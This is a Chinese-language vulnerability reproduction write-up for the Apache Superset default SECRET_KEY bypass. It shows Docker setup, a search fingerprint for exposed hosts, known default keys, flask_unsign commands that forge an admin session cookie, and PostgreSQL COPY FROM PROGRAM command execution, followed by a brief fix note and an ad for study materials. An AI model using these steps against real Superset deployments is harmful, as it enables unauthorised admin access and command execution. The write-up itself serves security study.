漏洞簡介

Apache Superset是一個開源的資料可視化和資料探測平臺,它基于Python構建,使用了一些類似于Django和Flask的Python web框架,提供了一個用戶友好的界面,可以輕松地創建和共享儀表板、查詢和可視化資料,也可以集成到其他應用程式中,由于用戶在默認安裝程序中,未對SECRET_KEY的默認值進行更改,未經身份驗證的攻擊者通過偽造管理員身份進行訪問后臺,并通過后臺原本資料庫執行功能實作命令執行操作,?
環境搭建
可以通過 fofa 來搜索相關網站
"Apache Superset"
?
這里我們通過 docker 來在本地搭建環境
?
git clone https://github.com/apache/superset.git
cd superset
git checkout 2.0.0
TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull
TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up
官網提供的方法 并沒有搭建成功,還是直接在docker 倉庫中查找
https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0
?
docker pull apache/superset:2.0.0
docker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email [email protected] --password admin
docker exec -it superset superset db upgrade
docker exec -it superset superset load_examples
docker exec -it superset superset init
?漏洞復現
利用腳本檢測是否存在漏洞并生成相對應的 cookie
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)

訪問主頁抓取資料包

將生成的 session 替換原本的 session
?
成功登錄

接下來就是想辦法 getshell 網路上的文章上是通過后臺資料庫執行陳述句來獲取權限,
經過復現分析,發現存在的問題還比較多,首先是默認情況下執行陳述句僅僅支持 SELECT ,需要修改資料庫的權限允許其他的一些陳述句(but 一些版本上是沒有對資料庫的操作權限的),然后就是獲取的權限,本質上也只是獲取了資料庫的執行權限,資料庫有可能并不與 superset 在同一服務器上,再有就是需要資料庫本身也需要存在漏洞才可以,我這里選取了 (CVE-2019-9193)PostgreSQL 高權限命令執行漏洞來復現漏洞,
?
?
?
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
?
漏洞分析
感覺這個漏洞有點像前段時間爆出來的 nacos 身份認證繞過漏洞 存在默認的密鑰
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
Superset 是用 Python 撰寫的,基于 Flask Web 框架,基于 Flask 的應用程式的常見做法是使用加密簽名的會話 cookie 進行用戶狀態管理,當用戶登錄時,Web 應用程式將包含用戶識別符號的會話 cookie 發送回最終用戶的瀏覽器,Web 應用程式使用 SECERT_KEY 對 cookie 進行簽名,該值應該時隨機生成的,通常存盤在本地組態檔中,對于每個 Web 請求,瀏覽器都會將已簽名的會話 cookie 發送回應用程式,然后應用程式驗證 cookie 上的簽名以處理請求之前重新驗證用戶,
整段描述下面我感覺跟 JWT 的相關驗證方式差不太多,我們具體來操作看看,

首先就是請求的時候我們可以看到 cookie 值 可以解碼成功,通過爆破(當然我們這里是已經已知這個 key 值),偽造生成用戶的 cookie,替換資料包中的cookie 值,就成功登錄成功,之后再次請求的時候,發現我們添加的欄位已經被保存在 session 值中
>>> from flask_unsign import session
>>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY")
{'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'}
>>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET')
'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY'
>>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM")
{'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1}
?
漏洞修復
拒絕在非除錯環境中使用默認密碼啟動
?
?
?更多網安技能的在線實操練習,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/555689.html
標籤:其他
上一篇:以夢為碼 自主創新 | 華為云開發者日成都站圓滿舉行!
下一篇:返回列表
